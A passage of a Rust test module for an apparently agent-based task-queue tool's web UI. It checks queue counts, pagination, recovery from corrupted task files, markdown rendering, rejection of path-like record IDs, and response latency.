24541        let home = tempfile::tempdir().unwrap();
24542        let ui = delta_test_ui(home.path());
24543        let mut task = Task::new(
24544            "task".into(),
24545            "body".into(),
24546            PathBuf::from("/repo"),
24547            Source::Human,
24548        );
24549        ui.queue.put(&mut task).unwrap();
24550        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
24551        let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
24552        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
24553        let expected = parsed + usize::from(!cfg!(unix));
24554        assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
24555        task.status = crate::queue::TaskStatus::Held;
24556        ui.queue.put(&mut task).unwrap();
24557        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
24558        std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
24559        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 0);
24560        ui.queue.put(&mut task).unwrap();
24561        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
24562        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
24563        assert_eq!(stats_queue(State(ui)).await.unwrap().0.held, 0);
24564    }
24565
24566    #[tokio::test]
24567    async fn health_notifications_revision_is_fresh_between_monitor_ticks() {
24568        let home = tempfile::tempdir().unwrap();
24569        let ui = delta_test_ui(home.path());
24570        *ui.monitor.latest.lock().unwrap() = Some(((0, 0, 0, 0, 0, 0), Default::default()));
24571        let before = health(State(ui.clone())).await.unwrap().0;
24572        ui.notices.raise(Notice::warn("task:1", "held")).unwrap();
24573        let after = health(State(ui)).await.unwrap().0;
24574        assert_ne!(before.notifications_rev, after.notifications_rev);
24575        assert_eq!(after.notifications_unread, 1);
24576    }
24577
24578    #[tokio::test]
24579    async fn list_pages_bound_history_and_keep_dependency_evidence() {
24580        let home = tempfile::tempdir().unwrap();
24581        let ui = delta_test_ui(home.path());
24582        let queue = &ui.queue;
24583        let talks = &ui.talks;
24584        for i in 0..1000 {
24585            let id = format!("20261019-{i:06}-page");
24586            let mut task = Task::new(
24587                "task".into(),
24588                "instruction".repeat(100),
24589                PathBuf::from("/repo/magi"),
24590                Source::Human,
24591            );
24592            task.id = id.clone();
24593            if i == 0 {
24594                task.status = crate::queue::TaskStatus::Held;
24595            } else if i == 999 {
24596                task.status = crate::queue::TaskStatus::Blocked;
24597                task.blocked_by = vec!["20261019-000000-page".into()];
24598            }
24599            queue.put(&mut task).unwrap();
24600            seed_talk_at(talks, &id, "open");
24601        }
24602        let page = serde_json::to_value(
24603            queue_page(State(ui.clone()), Query(PageQuery::default()))
24604                .await
24605                .unwrap()
24606                .0,
24607        )
24608        .unwrap();
24609        assert_eq!(page["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
24610        assert_eq!(page["rows"][0]["id"], "20261019-000999-page");
24611        assert!(
24612            !page["rows"][0]["stuck_roots"]
24613                .as_array()
24614                .unwrap()
24615                .is_empty()
24616        );
24617        let cursor = page["next"].as_str().unwrap();
24618        let last_id = page["rows"].as_array().unwrap().last().unwrap()["id"]
24619            .as_str()
24620            .unwrap();
24621        // Deleting an already enumerated file cannot shift or repeat a page.
24622        std::fs::remove_file(queue.path_of(last_id)).unwrap();
24623        let next = serde_json::to_value(
24624            queue_page(
24625                State(ui.clone()),
24626                Query(PageQuery {
24627                    before: Some(cursor.into()),
24628                }),
24629            )
24630            .await
24631            .unwrap()
24632            .0,
24633        )
24634        .unwrap();
24635        assert_eq!(next["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
24636        assert!(next["rows"][0]["id"].as_str().unwrap() < last_id);
24637        let chats = serde_json::to_value(
24638            talks_page(
24639                State(ui.clone()),
24640                Query(PageQuery::default()),
24641                header::HeaderMap::new(),
24642            )
24643            .await
24644            .unwrap()
24645            .0,
24646        )
24647        .unwrap();
24648        assert_eq!(chats["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
24649        assert!(chats["rows"][0].get("pending").is_none());
24650        assert!(chats["rows"][0].get("turn_bodies_md").is_none());
24651        let counts = serde_json::to_value(stats_queue(State(ui)).await.unwrap().0).unwrap();
24652        assert_eq!(counts["held"], 1);
24653        assert_eq!(counts["blocked"], 1);
24654        assert_eq!(counts["queued"], 997);
24655    }
24656
24657    #[test]
24658    fn queue_index_observes_external_replacement_deletion_and_corruption() {
24659        let dir = tempfile::tempdir().unwrap();
24660        let ui = delta_test_ui(dir.path());
24661        let mut task = Task::new(
24662            "task".into(),
24663            "body".into(),
24664            PathBuf::from("/repo"),
24665            Source::Human,
24666        );
24667        task.runs = vec!["run-a".into()];
24668        ui.queue.put(&mut task).unwrap();
24669        assert!(ui.find_task_for_run("run-a").unwrap().is_some());
24670        task.runs = vec!["run-b".into()];
24671        let path = ui.queue.path_of(&task.id);
24672        let modified = path.metadata().unwrap().modified().unwrap();
24673        let replacement = path.with_extension("replacement");
24674        let bytes = serde_json::to_vec_pretty(&task).unwrap();
24675        assert_eq!(bytes.len() as u64, path.metadata().unwrap().len());
24676        std::fs::write(&replacement, &bytes).unwrap();
24677        std::fs::File::options()
24678            .write(true)
24679            .open(&replacement)
24680            .unwrap()
24681            .set_times(std::fs::FileTimes::new().set_modified(modified))
24682            .unwrap();
24683        std::fs::rename(&replacement, &path).unwrap();
24684        assert!(ui.find_task_for_run("run-a").unwrap().is_none());
24685        assert!(ui.find_task_for_run("run-b").unwrap().is_some());
24686        std::fs::write(&path, "broken").unwrap();
24687        assert!(ui.find_task_for_run("run-b").is_err());
24688        std::fs::write(&path, bytes).unwrap();
24689        assert!(ui.find_task_for_run("run-b").unwrap().is_some());
24690        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
24691        assert!(ui.find_task_for_run("run-b").unwrap().is_none());
24692    }
24693
24694    #[tokio::test]
24695    async fn conversation_core_is_independent_of_unreadable_related_history() {
24696        let home = tempfile::tempdir().unwrap();
24697        let ui = delta_test_ui(home.path());
24698        let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
24699        std::fs::create_dir_all(ui.queue.root()).unwrap();
24700        std::fs::write(ui.queue.root().join("unreadable.json"), "broken").unwrap();
24701        let Json(core) = talk_core(State(ui.clone()), Path(id.clone()))
24702            .await
24703            .unwrap();
24704        assert_eq!(core.talk.id, id);
24705        assert!(talk_sections(State(ui), Path(id)).await.is_ok());
24706    }
24707
24708    #[tokio::test]
24709    async fn conversation_core_defers_store_links_but_preserves_markdown_and_provenance() {
24710        let home = tempfile::tempdir().unwrap();
24711        let ui = delta_test_ui(home.path());
24712        let id = seed_talk_at(&ui.talks, "20261019-000000-cafe", "open");
24713        let mut task = Task::new(
24714            "Referenced task".into(),
24715            "Unrelated instruction history".repeat(1024),
24716            home.path().into(),
24717            Source::Human,
24718        );
24719        task.id = "20261019-000000-abcd".into();
24720        ui.queue.put(&mut task).unwrap();
24721        let mut conversation = ui.talks.get(&id).unwrap();
24722        conversation.turns.push(talk::Turn {
24723            sender: Some(talk::Sender::Persona),
24724            who: talk::Who::Agent,
24725            body: "**Useful transcript** task@abcd and R2-1-3\n\n| Reference |\n| --- |\n| `abcd` |\n\n- task@abcd\n\n```\ntask@abcd\n```".into(),
24726            at: conversation.created_at,
24727            attachments: Vec::new(),
24728            usage: None,
24729            breaks: None,
24730            messages: Vec::new(),
24731            posted_by: None,
24732        });
24733        ui.talks.put(&mut conversation).unwrap();
24734
24735        let Json(core) = talk_core(State(ui.clone()), Path(id)).await.unwrap();
24736        let markdown = serde_json::to_value(&core.turn_bodies_md)
24737            .unwrap()
24738            .to_string();
24739        assert!(markdown.contains("\"strong\""));
24740        assert!(markdown.contains("\"table\""));
24741        assert!(markdown.contains("\"bullet_list\""));
24742        assert!(markdown.contains("\"code_block\""));
24743        assert!(!markdown.contains("\"internal_link\""));
24744        assert_eq!(core.talk.turns[0].sender, Some(talk::Sender::Persona));
24745        assert_eq!(core.talk.turns[0].body, conversation.turns[0].body);
24746        assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, 0);
24747
24748        // Deferred decoration still resolves the same validated task, without
24749        // touching opaque code blocks or changing the original transcript.
24750        let references = ui.references.for_talk(home.path(), &conversation);
24751        let mut decorated = core.turn_bodies_md[0].clone();
24752        references.markdown(&mut decorated);
24753        let decorated = serde_json::to_value(decorated).unwrap().to_string();
24754        assert_eq!(decorated.matches("\"internal_link\"").count(), 3);
24755        assert!(decorated.contains(&format!("#/tasks/{}", task.id)));
24756        assert_eq!(
24757            ui.talks.get(&conversation.id).unwrap().turns[0].body,
24758            conversation.turns[0].body
24759        );
24760    }
24761
24762    #[tokio::test]
24763    async fn unrelated_corrupt_task_does_not_break_run_or_talk_relationships() {
24764        let home = tempfile::tempdir().unwrap();
24765        let ui = delta_test_ui(home.path());
24766        let talk_id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
24767        let mut run = RunState::new(
24768            PathBuf::from("/repo"),
24769            "main".into(),
24770            "01234567".into(),
24771            "Useful run".into(),
24772            Config::default(),
24773        );
24774        run.save_under(home.path()).unwrap();
24775        let mut task = Task::new(
24776            "Related".into(),
24777            "body".into(),
24778            PathBuf::from("/repo"),
24779            Source::Agent {
24780                run: talk_id.clone(),
24781                node: "chat".into(),
24782            },
24783        );
24784        task.runs = vec![run.id.clone()];
24785        ui.queue.put(&mut task).unwrap();
24786        std::fs::write(ui.queue.root().join("unrelated.json"), "broken").unwrap();
24787        assert_eq!(ui.find_task_for_run(&run.id).unwrap().unwrap().id, task.id);
24788        assert_eq!(ui.find_tasks_for_talk(&talk_id).unwrap()[0].id, task.id);
24789        assert!(
24790            run_detail(State(ui.clone()), Path(run.id.clone()))
24791                .await
24792                .is_ok()
24793        );
24794        assert!(
24795            talk_sections(State(ui.clone()), Path(talk_id.clone()))
24796                .await
24797                .is_ok()
24798        );
24799        // Previously indexed corruption must not masquerade as no relationship.
24800        std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
24801        assert!(ui.find_task_for_run(&run.id).is_err());
24802        assert!(ui.find_tasks_for_talk(&talk_id).is_err());
24803        ui.queue.put(&mut task).unwrap();
24804        assert!(ui.find_task_for_run(&run.id).unwrap().is_some());
24805    }
24806
24807    #[tokio::test]
24808    async fn conversation_sections_omit_large_task_instructions() {
24809        let home = tempfile::tempdir().unwrap();
24810        let ui = delta_test_ui(home.path());
24811        let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
24812        let mut task = Task::new(
24813            "filed task".into(),
24814            "large instruction ".repeat(65536),
24815            PathBuf::from("/repo"),
24816            Source::Agent {
24817                run: id.clone(),
24818                node: "chat".into(),
24819            },
24820        );
24821        ui.queue.put(&mut task).unwrap();
24822        let Json(sections) = talk_sections(State(ui), Path(id)).await.unwrap();
24823        assert_eq!(sections["tasks"][0]["id"], task.id);
24824        assert_eq!(sections["tasks"][0]["status_str"], task.status.as_str());
24825        assert!(sections["tasks"][0].get("instruction").is_none());
24826        assert!(serde_json::to_vec(&sections).unwrap().len() < 8192);
24827    }
24828
24829    #[test]
24830    fn exact_record_lookup_rejects_paths_and_preserves_short_id_ambiguity() {
24831        let home = tempfile::tempdir().unwrap();
24832        let talks = Talks::at(home.path().join("talks"));
24833        seed_talk_at(&talks, "20261019-000001-abcd", "open");
24834        seed_talk_at(&talks, "20261019-000002-abcd", "open");
24835        std::fs::write(home.path().join("outside.json"), "{}").unwrap();
24836        assert!(resolve_talk(&talks, "../outside").is_err());
24837        assert!(resolve_talk(&talks, "abcd").is_err());
24838        assert_eq!(
24839            resolve_talk(&talks, "20261019-000001-abcd").unwrap(),
24840            "20261019-000001-abcd"
24841        );
24842    }
24843
24844    include!(concat!(
24845        env!("CARGO_MANIFEST_DIR"),
24846        "/tests/web_latency/baseline.rs"
24847    ));
24848
24849    include!(concat!(
24850        env!("CARGO_MANIFEST_DIR"),
24851        "/tests/web_latency/lists.rs"
24852    ));
24853
24854    #[tokio::test]
24855    #[ignore = "local performance measurement; see docs/web-responsiveness.md"]
24856    async fn web_history_latency_measurement() {
24857        use std::time::Instant;
24858        let home = tempfile::tempdir().unwrap();
24859        let ui = delta_test_ui(home.path());
24860        let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
24861        let mut template = ui.talks.get(&id).unwrap();
24862        template.turns = serde_json::from_value(serde_json::json!([{
24863            "who": "operator", "body": "Show the accumulated work and its current status.",
24864            "at": Timestamp::now().to_string(),
24865        }]))
24866        .unwrap();
24867        std::fs::write(
24868            ui.talks.path_of(&id),
24869            serde_json::to_vec(&template).unwrap(),
24870        )
24871        .unwrap();
24872        let count = std::env::var("MAGI_BENCH_RECORDS")
24873            .ok()
24874            .and_then(|s| s.parse::<usize>().ok())
24875            .unwrap_or(1000);
24876        for i in 0..count {
24877            template.id = format!("20261019-{i:06}-history");
24878            template.pending = "history ".repeat(2048);
24879            std::fs::write(
24880                ui.talks.path_of(&template.id),
24881                serde_json::to_vec(&template).unwrap(),
24882            )
24883            .unwrap();
24884            let mut task = Task::new(
24885                "old task".into(),
24886                "instruction ".repeat(2048),
24887                PathBuf::from("/repo"),
24888                Source::Human,
24889            );
24890            task.id = format!("20261019-{i:06}-task");
24891            ui.queue.put(&mut task).unwrap();
24892        }
24893        for baseline in [true, false] {
24894            for clients in [1, 4] {
24895                let parsed_before = ui.monitor.queue_index.lock().unwrap().reparsed;
24896                let mut samples = Vec::new();
24897                for _ in 0..12 {
24898                    let mut jobs = Vec::new();
24899                    for _ in 0..clients {
24900                        let ui = ui.clone();
24901                        let id = id.clone();
24902                        jobs.push(tokio::spawn(async move {
24903                            let start = Instant::now();
24904                            if baseline {
24905                                let response =
24906                                    baseline_talk_detail(State(ui), Path(id)).await.unwrap().0;
24907                                let elapsed = start.elapsed().as_secs_f64() * 1000.0;
24908                                return (
24909                                    elapsed,
24910                                    elapsed,
24911                                    serde_json::to_vec(&response).unwrap().len(),
24912                                );
24913                            }
24914                            let core = talk_core(State(ui.clone()), Path(id.clone()));
24915                            let secondary = talk_sections(State(ui), Path(id));
24916                            let (first, total) = tokio::join!(
24917                                async {
24918                                    let value = core.await.unwrap().0;
24919                                    (
24920                                        start.elapsed().as_secs_f64() * 1000.0,
24921                                        serde_json::to_vec(&value).unwrap().len(),
24922                                    )
24923                                },
24924                                async {
24925                                    let value = secondary.await.unwrap().0;
24926                                    (
24927                                        start.elapsed().as_secs_f64() * 1000.0,
24928                                        serde_json::to_vec(&value).unwrap().len(),
24929                                    )
24930                                }
24931                            );
24932                            (first.0, first.0.max(total.0), first.1 + total.1)
24933                        }));
24934                    }
24935                    for job in jobs {
24936                        samples.push(job.await.unwrap());
24937                    }
24938                }
24939                let mut first: Vec<_> = samples.iter().map(|s| s.0).collect();
24940                let mut total: Vec<_> = samples.iter().map(|s| s.1).collect();
24941                first.sort_by(f64::total_cmp);
24942                total.sort_by(f64::total_cmp);
24943                let n = first.len();
24944                let parsed = ui.monitor.queue_index.lock().unwrap().reparsed - parsed_before;
24945                println!(
24946                    "baseline={baseline} records={count} clients={clients} first_ms p50={:.2} p95={:.2}; complete_ms p50={:.2} p95={:.2}; bytes={}; indexed_task_parses={parsed}",
24947                    first[n / 2],
24948                    first[(n * 95 / 100).min(n - 1)],
24949                    total[n / 2],
24950                    total[(n * 95 / 100).min(n - 1)],
24951                    samples[0].2
24952                );
24953            }
24954        }
24955    }
24956
24957    #[test]
24958    fn app_js_contains_progressive_rendering_and_decoupled_reports() {
24959        // Assert that app.js decouples loadRun and does not block on Promise.allSettled for reports
24960        assert!(!APP_JS.contains("Promise.allSettled([\n    getJson(API.run(id)), getText(API.report(id)), getJson(API.reportJson(id))"));
24961        assert!(APP_JS.contains("function nextRunRequest(id)"));
24962        assert!(APP_JS.contains("function runShell(id, summary)"));
24963        assert!(APP_JS.contains("function nextTaskRequest(id)"));
24964        assert!(APP_JS.contains("function taskShell(id, summary)"));
24965        assert!(APP_JS.contains("state.detail.reportLoading = false;"));
24966    }
24967}